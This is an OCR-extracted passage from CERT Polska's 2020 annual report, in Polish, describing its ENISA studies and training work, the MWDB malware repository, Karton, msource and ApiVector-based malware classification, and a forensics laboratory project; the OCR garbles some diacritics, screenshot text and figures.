sorcjum wchodzg CSIRT-y poziomu krajowego
z Austrii (CERT.at), Estonii (CERT-EE), Luk-
semburga (CIRCL), Stowacji (SK-CERT), oraz
miedzynarodowa firma Deloitte.

Studium nt. proaktywnego wykrywania
incydentow dla ENISA

W 2020 r. CERT Polska wspotpracowat z Euro-
pejska Agencjg ds. Bezpieczenstwa Sieci i Infor-
macji (ENISA) przy studium na temat narzedzi
i zrédet informacji umozliwiajgcych proaktywne
wykrywanie incydentow bezpieczenstwa siecio-
wego. Proaktywnym wykrywaniem incydentow

definiujemy wczesne wykrycie przez CSIRT
niepozgdanych dziatan zanim inne jednostki
w ramach organizacji lub podmioty zewnetrzne
zgtoszg incydent.

Jest to druga edycja tego badania — poprzednia
byta wykonana w 2011 r. rowniez przez nasz
zespot0. Wyniki studium zostaty opublikowane
w trzyczesciowym raporcie, a sam katalog
dostepny jest w specjalnym repozytorium
w serwisie GitHub.

Celem projektu byto:

- stworzenie listy dostepnych metod, narzedzi,
dziatan oraz zewnetrznych zrédet informacji
pomocnych w proaktywnym wykrywaniu
incydentow sieciowych,

- zidentyfikowanie dobrych praktyk oraz zare-
komendowanie gtéwnych miejsc do poprawy,
ze szczegolnym uwzglednieniem nowych
i obecnych zespotow CSIRT w Europie,

+ stworzenie listy rekomendacji dla decy-
dentow politycznych w celu ulepszenia
wykrywania incydentow sieciowych w Unii
Europejskie;j.

METHODOLOGY

Good

practices and
gap analysis

of :
measul
infe

Rys. 17. Schemat metodyki uzytej w projekcie. Zrédto: ENISA.

8 https://www.misp-project.org/

https://github.com/certtools/intelmq

57 10 https://www.enisa.europa.eu/topics/csirt-cert-services/proactive-services/proactive-detection
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W pierwszej czesci raportu zaprezentowano
wyniki ankiety dotyczacej narzedzi i zrodet
danych stuzgcych do proaktywnego wykry-
wania incydentow przez europejskie CSIRT-y.
Wsrod narzedzi wystepowaty takie kategorie
jak systemy wykrywania atakow sieciowych,
skanery podatnosci, systemy monitoringu
punktow koncowych czy honeypoty. Analizowa-
ne zrodta informacji uwzgledniaty adresy URL
zwigzane ze szkodliwym oprogramowaniem
i botnetami, wskazniki infekcji (IoC), czy infor-
macje o podatnosciach. Jednym z gtéwnych
aspektow ankiety byta ocena przydatnosci
narzedzi i zrodet oraz problemy z jakimi spo-
tykajg sie CSIRT-y przy ich wdrazaniu. Wyniki
ankiety zostaty takze poréwnane z badaniem
z 20717 r. Umozliwito to analize trendow oraz
zmian w kontekscie narzedzi i zrodet danych
uzywanych przez CSIRT-y jakie dokonaty sie
przez prawie dekade dzielgcg badania.

W drugiej czesci raportu skupiono sie na ana-
lizie jakosciowej narzedzi i zrodet informacji,
ktore zostaty wybrane na podstawie przepro-
wadzonej ankiety. Narzedzia byt oceniane
w czterostopniowej skali pod wzgledem takich
cech jak tatwos¢ uzycia, doktadnos¢, skalo-
walnosc¢ czy kompletnos¢ informaciji, podobny

schemat zastosowano do zrodet informaciji.

W trzeciej czesci raportu zostata przedsta-
wiona lista dobrych praktyk, w tym rekomen-
dowane rodzaje narzedzi i zrédet informacji
oraz wskazano ogolne stabosci dostepnych
rozwigzan. Raport rekomenduje cztery najistot-
niejsze dziatania, jakie CSIRT-y mogg podjgc
w celu zapewnienia wczesnego wykrywania
incydentow: monitorowanie urzgdzen konco-
wych z wykorzystaniem systemow typu SIEM
(Security Information and Event Management),
logowanie przeptywow sieciowych (np. Net-
Flow), analiza ruchu sieciowego protokotu DNS
oraz monitorowanie mediéw (np. kont social
media, publikacji branzowych). Wskazano réow-
niez dziatania na poziomie ogolnoeuropejskim,
ktore mogag wesprzec firmy i instytucje w tym
obszarze.

11
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Integralng czescig studium jest repozytorium
w serwisie GitHub, ktore zawiera listy rodzajow
narzedzi oraz zrodet informacji pomocnych
w proaktywnym wykrywaniu incydentow
sieciowych wraz z oceng ich przydatnosci.
Dodatkowo zamieszczono przyktady konkret-
nych narzedzi lub zrédet danych z informa-
cjami o licencji, stronie projektu czy sposobie
dostepu, z naciskiem na narzedzia dostepne
na licencjach otwartych (open source) oraz
zrodta niekomercyjne. Repozytorium w zatoze-
niu jest publicznym dokumentem, do ktorego
mozna zgtaszac¢ uwagi i poprawki, aby tym
samym stac sie listg referencyjng przydatng
CSIRT-om. Adres repozytorium: https://github.
com/enisaeu/irtoals.

Wszystkie trzy czesci raportu sg dostepne
na stronie ENISA™.

Materiaty szkoleniowe dla ENISA

W drugiej potowie 2020 r. pracowalismy nad
rozszerzeniem materiatow szkoleniowych dla
ENISA. Byta to kontynuacja naszego wcze-
Sniejszego projektu, ktérego rezultatem byto
stworzenie nowego szkolenia obejmujgcego
konfiguracje i praktyczne wykorzystanie przez
zespoty typu CSIRT/SOC zestawu wspotdziata-
jacych narzedzi. Poprzedni zestaw materiatow
(Orchestration of CSIRT Tools) jest dostepny
do pobrania ze strony ENISA12.

Nowe zadania demonstrujg mozliwosci wy-
korzystania narzedzi na otwartych licencjach
(open source) do analizy i reakcji na ztozone
incydenty. Uwzglednione narzedzia to m.in.
TheHive'3, Moloch4, Kibana's i MISP16. Przy-
ktadowe scenariusze, ktore sg elementami
szkolenia, obejmujg wieloetapowy atak z wy-
korzystaniem ransomware oraz symulowany
atak sieciowy typu odmowa dostepu (DoS).
Zaktualizowane materiaty bedg opublikowane
przez ENISAw 20217 .

https://www.enisa.europa.eu/publications/proactive-detection-measures-and-information-sources

12

https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-training-material/technical-opera-

tional#Orchestration
13" https:/thehive-project.org/
14 https://molo.ch/
15 https://www.elastic.co/kibana
16 https://www.misp-project.org/
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AMCE

W 2020 r. kontynuowalismy szeroki zakres prac
finansowanych z projektu AMCE (Advanced
Threat Monitoring and Cooperation on the Eu-
ropean and National Levels). W ramach projek-
tu rozwijalismy szereg systemow analitycznych
i wymiany informacji.

- MWDB: Platforma wymiany informacji

o szkodliwym oprogramowaniu (zob. nizej);

+ Karton: System do budowy aplikacji opartych
o mikroserwisy (wykorzystywany przez ser-
wis MWDB) — zobacz na stronie 65;

+ Drakvuf Sandbox: System do automatycznej
analizy szkodliwego oprogramowania; opis
na stronie 65;

* maquery: Narzedzie do wydajnego przeszuki-
wania duzej liczby plikow przy uzyciu jezyka
YARAT.

+ Hfinger: Narzedzie do identyfikacji charak-
terystycznych cech zgdan HTTP; zobacz
na stronie 67/,

« mtracker: System sledzenia botnetow
poprzez emulacje protokotow wykorzysty-
wanych przez szkodliwe oprogramowanie:
mtracker?s,

+ wewnetrzne narzedzia wspomagajgce utrzy-
manie Listy Ostrzezen1.

W ramach AMCE rozwijamy rowniez platforme
n6 (Network Security Incident eXchange), nasz
autorski system do automatycznego zbierania,
przetwarzania i dystrybucji informacji na temat
zagrozen sieciowych. Pozwala on naszemu
zespotowi na przekazywanie danych do wta-
scicieli sieci, administratorow i operatorow. In-
formacje o zagrozeniach, ktore udostepniamy,
dotyczg m.in.:

- zainfekowanych komputeréw (botéw),

+ stron wytudzajgcych dane dostepowe
(phishing),

- infrastruktury sterujgcej botnetami,

17

18 https://github.com/CERT-Polska/mquery

+ stron rozpowszechniajgcych szkodliwe opro-
gramowanie,

- zrodet atakow na ustugi sieciowe.

System obstuguje wiele rodzajow zrodet
informacji, w tym pochodzgce od innych ze-
spotow CSIRT, firm komercyjnych, organizacji
non-profit i niezaleznych badaczy. Wykorzy-
stujemy go do przetwarzania i dostarczania
do odpowiednich odbiorcow miliondw zdarzen
bezpieczenstwa dziennie. W 2020 r. przy po-
mocy n6 zebralismy ponad 213 min zdarzen
bezpieczenstwa, z czego 1271 min dotyczyto
adresow IP nalezgcych do polskich operatorow.
Szczegotowe statystyki zagrozen wyznaczone
na podstawie danych zebranych w n6 znajduja
sie w ostatnim rozdziale niniejszego raportu.

Istotng czescig AMCE jest rowniez utrzymanie
infrastruktury globalnej sieci honeypotow stwo-
rzonych w projekcie SISSDEN?20, ktory byt opisy-
wany we wczesniejszych raportach rocznych.
Sensory opierajg sie na specjalnie przygoto-
wanych systemach-putapkach (honeypotach),
ktore emulujg ustugi bedgce czestymi celami
atakow, np. serwery telnet, WWW, RDP. Dzieki
wspotpracy z Shadowserver, organizacjg non-
-profit dziatajgcg na rzecz zwalczania zagrozen
W cyberprzestrzeni, ktora zajmuje sie biezgcym
utrzymaniem dziatania sieci honeypotow, in-
formacje o atakach trafiajg do wtascicieli sieci
w postaci darmowych raportow?2!. W Polsce
dane dostepne sg przez platforme né.

Projekt AMCE jest wspotfinansowany przez
instrument finansowy “t.gczac Europe” (Con-
necting Europe Facility), nr grantu 2018-PL-I1A-
0168.

MWDB

Jednym z projektow prowadzonych przez
zespot CERT Polska jest projekt MWDB, czyli
repozytorium informacji na temat ztosliwego
oprogramowania, udostepniane analitykom
malware'u z catego sSwiata. W 2020 r. dzieki
systematycznemu rozwojowi projektu, realizo-
wanemu przede wszystkim w ramach AMCE,
udato sie osiggngc kilka istotnych kamieni
milowych.

https://www.cert.pl/posts/2018/01/mtracker-sposob-sledzenie-zlosliwego-oprogramowania/

19

https://www.cert.pl/posts/2020/03/ostrzezenia_phishing/

20 https://sissden.eu/

59 21 Przyktad raportu stworzonego na podstawie sieci senoréw SISSDEN: https://www.shadowserver.org/what-we-do/
network-reporting/honeypot-brute-force-events-report/
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Dotychczas pod nazwg MWDB kryt sie przede
wszystkim serwis https:/mwdb.cert.pl/login,
w ktorym kazdy z analitykdw mogt zarejestro-
wac konto po uprzedniej weryfikacji i uzyskac
dostep do informacji na temat ztosliwego opro-
gramowania, pochodzgcych z analiz prowadzo-
nych przez CERT Polska. W pazdzierniku 2020 .

@ CERT-Polska/mwdb-core

nask CERT.PLO-

zostat publicznie wydany kod serwisu, czyli
oprogramowanie mwdb-core, ktore umozliwia
zatozenie analogicznego repozytorium probek
we wtasnym laboratorium analiz malware.
Dzieki temu kazdy analityk moze zatozy¢ swoje
wtasne MWDB i powigzac probki z informacja-
mi pochodzgcymi z wtasnych analiz.

@ Unwateh ~ 12 ¢ Star | 125 Y Fork | 32
<> Code () Issues 35 I Pullrequests 2 (¥) Actions [ Projects ) Security |~ Insights 3 Settings
¥ master ~ $ 4branches © 12 tags Go to file Add file ~ About ]
Malware repository component for
o) psrok1 and KWMORALE Docs: What's changed section (#300) 1= « 2695741 4 hours ago %) 323 commits samples & static configuration with
REST APl interface.
.github Change bug report femplate and include formatting in CONTRIBUTING.... ast month
& mwdb.readthedocs.io/
deploy Bump madge to '4.0.2' (#311) 2 days ago
collection  repository  analysis
docker Docker: include mail_templates and handle plugin deps requiring gec (#.. 5 months ago Sy = T
docs Docs: What's changed section (#300) 4 hours ago malware-research  mwdb
mwdb Remote API: Push and pull with share option (#315) 5 hours ago O Readme
tests Refactor: sample path as file path in frontend routes (#314) 2 days ago a5 View license
[ .dockerignore Renamed project to mwdb-core (#161) 6 months ago
[ .gitignore Docker: include mail_templates and handle plugin deps requiring gcc (#.. 5 months ago Releases 12
[ .gitmodules Move mwdb.cert.pl deployment to separate repository 11 months ago

[ CONTRIBUTING.md

CONTRIBUTING.md: Prettify => Preftier (#285)

© v2.2.0 (Latest)
2 hours ago
26 days ago

Rys. 18. Zrzut ekranu przedstawiajacy projekt mwdb-core w serwisie Github.

Oprogramowanie jest dostepne w ramach serwisu Github?22 na wolnej licencji GNU AGPL v3, co
oznacza, ze moze by¢ wykorzystane rowniez do celdow komercyjnych. Oprécz kodu jest tam rowniez
zamieszczony link do obszernej dokumentacjiz3, ktéra przeprowadza uzytkownika krok po kroku

przez kluczowe funkcje systemu.

# mwdb-core

# » Welcome to MWDB Core documentation!

€) Edit on GitHub

Welcome to MWDB Core documentation!

port. Try
Today!

Malware repository for automated malware collection and analysis systems. You can use it to index
and share your collection of malware and extracted configurations, providing convenient, unified
interface for your malware analysis pipeline.

Under the hood of mwdb.cert.pl service hosted by CERT.pl.

Features

« Storage for malware binaries and configurations

« Tracking and visualizing relationships between objects

¢ Quick search using Lucene-based syntax

+ Data sharing and user management mechanism

e Integration capabilities via webhooks and plugin system

Contents:

¢ What's changed?

o Latest release (2.2.0)

Rys. 19. Zrzut ekranu przedstawiajacy strone gtéwna dokumentacji mwdb-core.

22 https://github.com/CERT-Polska/mwdb-core/

https://mwdb.readthedocs.io/en/latest/
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Obok projektu mwdb-core opublikowany zostat
rowniez projekt Karton stanowigcy zaplecze
analityczne serwisu mwdb.cert.pl. Jest to
framework, ktory pozwala skomunikowac ze
sobg poszczegodlne elementy laboratorium

Attributes

Karton analysis
i processing

i w prosty sposob wzbogacac dane z analizy
za pomocg wtasnych skryptow napisanych
w jezyku Python. Projekt ten jest zintegrowany
z MWDB, co pozwala m.in. na sledzenie statusu
analizy dla danej probki.

+ Add

40ecfadd-8e72-4849-86le-dflefae2e270

Last update: 3 minutes ago

Currently processed by:
. kartnn.drakrun-ﬂz.a
got from kartom.classifier

0, Search artifacts | O Dashboard § O Splunk logs

+ reanalyze

Rys. 20. Status analizy Karton widoczny w serwisie mwdb.cert.pl.

{spleiting Vulner

Executing...

24 https://github.com/CERT-Polska/mquery
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Sam serwis mwdb.cert.pl rowniez doczekat
sie kilku istotnych rozszerzen. Jednym z naj-
bardziej uzytecznych jest integracja z innym
projektem CERT Polska o0 nazwie mquery24.

Integracja z mquery pozwala uzytkownikom
na szybkie przeszukiwanie zbioru probek
zawartych w MWDB przy uzyciu regut Yara.
Dzieki temu analitycy moga przeszuka¢ MWDB
pod kgtem konkretnego rodzaju ztosliwego
oprogramowania, nawet jezeli nie zostato ono
rozpoznane przez nasze zaplecze analityczne.
Moga rowniez testowac skutecznos¢ wiasnych
regut, korelujgc wyniki zwrécone przez regute
z informacjami na temat rozpoznanej rodziny
przez MWDB.
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Query finished! Check results of ODFIISEJLOAY query.

Processing query ODFIISEJ10AV

status: [EEIER (6298 / 6298 files processed)

1 rule win zloader auto {

2

3 meta:

4 author = "Felix Bilstein - yara-signator at cocacoding dot com”

5 date = "2020-05-30"

6 version = "1"

7 description = "autogenerated rule brought to you by yara-signator"
8 tool = "yara-signator v0.4.0"

9 tool config = "callsandjumps;datarefs;binvalue"

10 malpedia reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zload
11 malpedia rule date = "20200529"

12 malpedia hash = "92c¢362319514e5a6da26204961446caa3aBb32a8"

13 malpedia version = "20200529"

14 malpedia_license = "CC BY-NC-SA 4.0"

15 malpedia sharing = "TLP:WHITE"

16

17 /* DISCLAIMER

Rys. 21. Zrzut ekranu prezentujacy dziatanie mquery w ramach serwisu mwdb.cert.pl

Ze wzgledu na rosngcg popularnosc serwisu mwdb.cert.pl, serwis doczekat sie réwniez kilku ze-
wnetrznych integracji. Jednym z przyktadow jest repozytorium MalwareBazaar prowadzone przez
abuse.ch, gdzie mwdb.cert.pl znalazt sie wsrdd ustug, do ktorych wysytane sg wszystkie probki celem
rozpoznania rodziny ztosliwego oprogramowania.

Vendor Threat Intelligence @

ANY.RUN (O +
BitDam [EEES +
ClamAV +
Dr. Web vxCube +
DocGuard [ETETE +
InQuest +
Joe Sandbox +

+

CERTPL MWDB

Rys. 22. Przyktadowe serwisy bedace Zzrodtem informacji dla MalwareBazaar.
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Kazda probka znajdujgca sie na MalwareBazaar jest dostepna rowniez dla uzytkownikéw serwisu
mwdb.cert.pl. Jesli udato sie rozpoznac typ ztosliwego oprogramowania, uzytkownicy majg rowniez
dostep do statycznej konfiguracji i innych dodatkowych informacji na temat danej probki.

B File details Tags
+ Upload child
s | i
vy Favorite
Q, Preview Static config Add tag Add
X Download
Related samples + add
File name 33a8000 51e7d8d601d26377
Fie size oo parent _bozacous
File type data F7fd27c5 ripped:agenttesla
c30T393e
mds 4270173c82a64d3360T360023a30ee18 feodice3
f2d2et34
shal ddT27T00d01356c5becBd5T7e7a51880b6d997901 ba9cEb3s
frara421
sha256 51e7dB8d601d263773a38739951c34a3d3dab318d755a0410¢c -
67791ad184be334

Rys. 23. Widok probki pochodzacej z MalwareBazaar w serwisie mwdb.cert.pl.

CERT.PL MWDB
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Malware samples

Rys. 24. Statystyki rozpoznanych rodzin w MalwareBazaar przez serwis mwdb.cert.pl25.

W ciggu 2020 r. serwis mwdb.cert.pl:

+ przeanalizowat 492 tysigce probek ztosliwe-
go oprogramowania,

+ pozyskat z nich 22 tysigce unikalnych konfi-
guraciji,

+ zarejestrowat konta dla 324 nowych anality-
kow.

25 Zrsdio: https://bazaar.abuse.ch/statistics/#mwdb
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Podsumowujgc, na koniec 2020 r. w serwisie
mwdb.cert.pl byto zarejestrowanych 654
zewnetrznych analitykow. System jest dedyko-
wany dla 0oséb zajmujgcych sie profesjonalnie
analizg ztosliwego oprogramowania. O utwo-
rzenie konta moga wnioskowac¢ wytgcznie
osoby, ktore sg w stanie wskazac¢ swojg afi-
liacje, np. jako pracownika CERT-u, firmowego
zespotu odpowiedzialnego za cyberbezpieczen-
stwo albo uczelni zajmujgcej sie badaniami
w zakresie ztosliwego oprogramowania.


https://bazaar.abuse.ch/statistics/#mwdb

Jesli spetniasz powyzsze warunki
i jestes zainteresowany/a dotgczeniem
do tego grona, skorzystaj z formularza reje-
stracyjnego, znajdujgcego sie pod adresem
https:/mwdb.cert.pl/register.

SPARTA

NASK od 2019 r. uczestniczy w europejskim
projekcie badawczym SPARTAZ26 (Strategic
Programs for Advanced Research and Tech-
nology in Europe). Jest to jeden z czterech
duzych pilotazowych programéw majgcych
na celu stworzenie europejskiego Centrum
Kompetencji Cyberbezpieczenstwa (konkurs
SU-ICT-03-2018). Jestesmy cztonkiem duzego
konsorcjum (ponad 40 podmiotéw), w ktérego
sktad wchodzg czotowe europejskie jednostki
zajmujgce sie badaniami w obszarze bezpie-
czenstwa teleinformatycznego.

CERT Polska jest zaangazowany przede
wszystkim w jeden z podprogramow badaw-
czych: T-SHARK. Jego celem jest stworzenie
metod, ktore pozwolg na wykorzystanie boga-
tych zrodet informaciji o zagrozeniach do stwo-
rzenie catosciowego obrazu sytuacyjnego,
ktory pozwoli szybciej i trafniej podejmowac
decyzje dotyczgce obrony przed atakami
na systemy teleinformatyczne. Nasz obszar
badan dotyczy analizy szkodliwego oprogra-
mowania na duzg skale. Ponizej prezentujemy
dwa systemy, ktore powstaty i sg rozwijane
w ramach projektu: msource i klasyfikator
rodzin malware wykorzystujgcy ApiVectory.

Projekt SPARTA jest finansowany z programu
Horyzont 2020, nr grantu 830892.

msource

msource to narzedzie identyfikujgce podobien-
stwa w kodzie binarnym w celu wspierania pro-
cesow klasyfikacji nowych probek ztosliwego
oprogramowania ocraz inzynierii wsteczne;.

26 https://www.sparta.eu/
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Poniewaz kody zrédtowe rodzin szkodliwego
oprogramowania zazwyczaj nie zmieniajg sie
catkowicie, tylko w wielu iteracyjnych zmia-
nach, z ktérych kazda dodaje czes¢ nowej
funkcjonalnosci, mozemy automatycznie
rozpoznac¢ nowe probki nalezgce do tej samej
rodziny. Oszczedza to czas analitykéw i pozwa-
la wykrywac nowe, jeszcze nieprzeanalizowane
wersje ztosliwego oprogramowania, a nastep-
nie ostrzegac i zapobiegac¢ infekcjom.

W tym celu msource dokonuje deasemblacji
probek, aby uzyskac kod wszystkich funkcji,
ktére sg w niej zawarte. Kolejnym etapem ob-
robki danych jest utworzenie “funkcji generycz-
nych’ poprzez usuniecie argumentow poszcze-
golnych instrukcji, dzieki czemu uzyskiwana
jest prosta przyblizona reprezentacja funkgcji
jako sekwencji kodéw operacji (ang. opcodes).
Wykrywanie identycznych lub podobnych funk-
cji generycznych pozwala na rozpoznawanie
kodu wspotdzielonego pomiedzy probkami.
Dobra wydajnosc¢ opisanej metody pozwala
na zastosowanie jej do duzych zbioréw szko-
dliwego oprogramowania.

Pierwszy prototyp narzedzia powstat w 2019,
natomiast w roku ubiegtym wprowadzilismy
nastepujgce usprawnienia:

+ przeszlismy z dekompilacji funkcji do de-
asemblacji, poniewaz takie podejscie dato
lepsze rezultaty na rzeczywistych danych

z platformy MWDB;

« rozwinelismy projekt o wsparcie wielu de-
asemblerdw, takich jak Retdec1 i SMDAZ2;

+ dodalismy mozliwos¢ dodawania tagow
do funkgji generycznych, dzieki czemu anali-
tyk dostaje informacje o “znanym” kodzie jaki
wchodzi w sktad badanej probki;

+ wykonalismy plugin do IDA Pro utatwiajacy
interakcje analityka z systemem.
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First binary

Second binary

Exact matches (39)

Canonical

41

40

29

Close matches (10)

First

function_20120

function_16960

function 21914

Unmatched

Left (39)

First

function_12962

function_12744

function_10254

Second

function_12548

function_11820

function_10912

13a4c32651cf6fd41d1f01eb51beb01c16609bb292e444e808c91f32607892fd
654b53b4ef5h98b574f7478ad 111922751 78ca651d9e8496070651cd6f72656a

Second

function_B8654

function_14174

function_6926

Similarity

0.9940476190476191

0.9762845849802372

0.9724770642201835

Right (15)

exact sha256

exact sha256

exact sha256

close mnemonic

close mnemonic

close mnemonic

function_15864

function_406201

function_4065d0

function_15840

___w32_sharedptr_initialize

function_15328

Rys. 25. Glowny interfejs webowy msource, widok poréwnania wybranych dwéch prébek.

1. https://retdec.com

2. https:/qgithub.com/danielplohmann/smda

Klasyfikacja na podstawie uzytych API
systemowych

Jednym z mozliwych podejs¢ do klasyfikacji
plikow, aby przypisac je do znanych rodzin
szkodliwego oprogramowania, jest porownanie
wykorzystywanych przez nie APl systemowych.

Pierwszy etap naszej analizy polega na statycz-
nym wykrywaniu wywotan funkcji Windows
APl w kodzie binarnym badanej aplikacji pozy-
skanym z pamieci podczas jej uruchomienia.

27 https://github.com/danielplohmann/apiscout
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Wykorzystujemy do tego celu narzedzie Api-
Scout?? stworzone przez Daniela Plohmanna.
Jednym z bardziej kompaktowych wynikéw do-
starczanych przez ApiScout sg wektory binarne
o dtugosci 1024, ktorych kazdy bit odpowiada
jednej lub kilku “interesujgcym” (w szczegol-
nosci z punktu widzenia analizy wstecznej)
funkcjom o podobnym dziataniu. W rezultacie
otrzymujemy tzw. ApiVector, ktorego przyktado-
wa wizualizacja znajduje sie na rysunku 26.


https://retdec.com
https://github.com/danielplohmann/smda
https://github.com/danielplohmann/apiscout
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Rys. 26. Graficzna reprezentacja ApiVectora (ApiQR) z uzyciem krzywej Hilberta z podziatem bitéw na kategorie semantyczne.
Zrédto: http:/byte-atlas.blogspot.com/2018/04/apivectors.html

" o
s
L Il.l

T

Rys. 27. Graficzna reprezentacja ApiVectora (ApiQR) dla przyktadowej prébki. Zrédto: http:/byte-atlas.blogspot.
com/2018/04/apivectors.html
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ApiVectory mogg stuzy¢ do pobieznej oceny
funkcjonalnosci analizowanej probki, jak
rowniez do pomocy przy identyfikacji rodziny,
korzystajgc z referencyjnej bazy danych. W pro-
jekcie SPARTA istotniejsze jest dla nas drugie
zastosowanie, czyli okreslenie podobienstwa
miedzy analizowang probkg a innymi znanymi
plikami w celu klasyfikacji rodziny szkodliwego
oprogramowania.

ApiScout nie dziata bezposrednio na plikach
wykonywalnych na dysku, tylko na pamieci
uruchomionego procesu. Dlatego pierwszym
etapem analizy probki jest jej uruchomienie
w Drakvuf Sandbox (wiecej o tym narzedziu
mozna przeczytaé na stronie 65), z ktorego
otrzymujemy od kilku do kilkuset (a w skrajnych
przypadkach nawet kilku tysiecy) zrzutéw pa-
mieci, dla ktorych liczone sg ApiVectory.

Poniewaz z kazdg probkg zwigzanych jest
wiele ApiVectorow, musielisSmy uwzglednic¢ ten
aspekt przy opracowywaniu metody poréwny-
wania probek. W pierwszym podejsciu ApiVec-
tory byty agregowane w celu skonstruowania
reprezentanta (réwniez w formie ApiVectora),
ktory nastepnie podlegat wiasciwej klasyfikacji
zgodnie z wyuczonym modelem. Takie po-
dejscie nazwalismy klasyfikacjg na poziomie
probek.

Sam mechanizm klasyfikacji jest prosty: re-
prezentant poréwnywany jest do ApiVectorow
w wyuczonym modelu, ktére majg przypisane
nazwy rodzin szkodliwego oprogramowania.
Stopien podobienstwa jest obliczany na pod-
stawie indeksu Jaccarda?8. Model powstaje
na biezgco na podstawie nowych plikow zbie-
ranych w MWDB (wiecej informacji o platformie
MWDB znajduje sie na stronie 64), czyli stosu-
jac tzw. uczenie online. Komponenty MWDB od-
powiadajgce za automatyczne rozpoznawanie
rodzin szkodliwego oprogramowania cechujg
sie duzg doktadnoscig: prawie nie zdarzajg sie
sytuacje, w ktorej probka zostataby przypisana
do niepoprawnej rodziny. Jednoczesnie dla
wielu prébek MWDB rodzina nie zostata au-
tomatycznie wykryta, na przyktad w sytuacji,
kiedy pojawia sie nowy wariant szkodliwego
oprogramowania. Probki bez wykrytej rodziny
nie trafiajg do modelu, natomiast potencjalnie
mogg zostac zaklasyfilkowane wtasnie na pod-
stawie swoich ApiVectoréw.

28 https://pl.wikipedia.org/wiki/Indeks_Jaccarda
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Zeby wybra¢ metode konstrukcji reprezen-
tantow oraz prog podobienstwa na potrzeby
klasyfikacji, przeprowadzilismy ekspery-
menty z klastrowaniem préobek. Pierwszym
zastosowanym podejsciem byto wybieranie
ApiVectora o najwyzszej liczbie zapalonych
bitow dla kazdej prébki (pozostate ApiVectory
byty odrzucane). Ostatecznie zdecydowalismy
sie na konstruowanie reprezentanta poprzez
zastosowanie sumy logicznej na wszystkich
odpowiadajgcych sobie bitach. Takie podejscie
pozostawiato najwiecej informacji, a jednocze-
Snie otrzymane rezultaty zachowywaty rézno-
rodnosc na tyle dobrze, ze jako poczgtkowy
prog podobienstwa zostato wybrane po prostu
100 proc., czyli zagregowane ApiVectory mu-
siaty by¢ identyczne, zeby uznac, ze odpowia-
dajg tej samej rodzinie.

Nastepnie zaimplementowalismy klasyfikacje
na poziomie pojedynczych zrzutéw pamieci,
czyli z pominieciem agregacji ApiVectorow.
Klasyfikacja probki jest sumag (zbiorem) klasyfi-
kacji zrzutow pamieci, ktore powstaty w trakcie
jej analizy w Drakvuf Sandbox. W tym podejsciu
model klasyfikatora jest analogiczny jak wcze-
sniej, z tg roznicyg, ze sktadajg sie na niego
ApiVectory policzone dla pojedynczych zrzutow
pamieci wraz z wykrytymi identyfikatorami
rodzin.

Z przeprowadzonych wstepnych testow wyni-
ka, ze ta ostatnia metoda daje najlepsze wyniki.
Dolng granice jej skutecznosci wyznaczylismy
na 25,39 proc., przy czym nie znalezliSmy ani
jednego przypadku, w ktérym rodzina zostataby
przypisana niepoprawnie. Natomiast dolng
granice skutecznosci klasyfikatora dziata-
jgcego na reprezentantach wyznaczylismy
na 25,86 proc., ale minimalnie wyzszy wynik
otrzymalismy kosztem co najmniej 0,06 proc.
klasyfikacji niepoprawnych.

W 2021 r. bedziemy kontynuowac prace nad
klasyfikatorem, w szczegolnosci w kierunku
optymalizacji jego parametrow oraz produkcyj-
nego wdrozenia w ramach platformy MWDB.


https://pl.wikipedia.org/wiki/Indeks_Jaccarda

System klasyfikacji powstat na bazie kompo-
nentow stworzonych przez CERT Polska, ktore
udostepniamy na otwartych licencjach. W ich
sktad wchodzg: system zarzgdzania zadania-
mi Karton29, biblioteka kliencka MWDB30 oraz
biblioteka do wspomagania analizy ztosliwego
oprogramowania Malduck3?.

Forensics

W 2020 r. dalej rozwijaliSmy projekt “Zaawanso-
wanego Laboratorium Kryminalistyki Sledczej”
realizowany przez CERT Polska we wspotpracy
z Zaktadem Cyberbezpieczenstwa Politechniki
Warszawskiej. Doswiadczenia zebrane w tym
okresie ze wzgledu na specyficzny czas pande-
mii, Majgcej znaczacy wptyw na dziatanie wielu
instytucji, zwiekszenie liczby obserwowanych
zagrozen wystepujgcych w cyberprzestrzeni,
a takze znaczgce zapotrzebowania na ustugi
cyberbezpieczenstwa, nieco zmienity nasze
podejscie do wytwarzanych w ramach projektu
narzedzi.

Specjalisci Zespotu Analiz Informatyki Sledczej
CERT Polska przede wszystkim koncentrujg
sie na dziataniach praktycznych oraz pra-
cach “w terenie”. Dzieki temu projekt zyskat do-
datkowe zasoby oraz narzedzia wspomagajgce
efektywng wspotprace z organami scigania
oraz mozliwosci swiadczenia wysokiej jakosci
ustug analizy sledczej.

Prace prowadzone w ramach projektu pomogty
wypracowac szereg metodologii pomocniczych
we wspotpracy z organami scigania, stworzyc
znaczne zaplecze laboratoryjne zaréwno z za-

29 https://github.com/CERT-Polska/karton; patrz tez str. 65
https://github.com/CERT-Polska/mwdblib
https://github.com/CERT-Polska/malduck

kresu odzyskiwania danych, naprawy uszko-
dzonych fizycznie jak i programowo nosnikow,
analizy i wykrywania sygnatow radiowych, za-
bezpieczania i analizy materiatu dowodowego
zarowno dla urzgdzen mobilnych, komputeréw
osobistych jak i urzadzen serwerowych. Sytu-
acja spowodowana pandemig Covid-19 miata
wptyw na charakter prowadzonych w 2020 r.
prac. Przyjete podejscie, zastosowane miedzy
innymi w realizacji srodowiska do przepro-
wadzania ogledzin czy eksperymentow
procesowych, zaowocowato stworzeniem
narzedzi oraz srodowiska analitycznego, ktore
sprostato szczegolnym wymaganiom jakie
niesie ze sobg praca zdalna, takze w wymiarze
pracy z nosnikami dowodowymi, w przypadku
ktorych nie mozna sobie pozwoli¢ na ew. utrate
integralnosci czy poufnosci danych.

W ramach projektu powstaje réwniez mobilne
laboratorium umozliwiajgce transport urzgdzen
do laboratorium stacjonarnego z zachowaniem
ciggtosci zasilania, przeprowadzania wstepnej
akwizycji czy nawet zdalnej analizy w przy-
padkach, gdy krytyczny jest czas od momentu
uzyskania dostepu do nosnika danych do jego
przeanalizowania. Rozwijane byto réwniez de-
dykowane oprogramowanie i srodowiska gra-
ficzne agregujace dane pozyskiwane miedzy
innymi z urzgdzen radiowych, a takze narzedzia
ktore mogg zostac¢ wykorzystane do walki ze
skutkami dziatania ztosliwego oprogramowa-
nia typu ransomware.
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Rys. 28. Wyposazenie mobilnego laboratorium, cze$¢ serwerowa.

Rys. 29. Wyposazenie mobilnego laboratorium, czes$¢ biurowa.

Projekt jest wspotfinansowany przez Narodowe Centrum Badan i Rozwoju w ramach programu
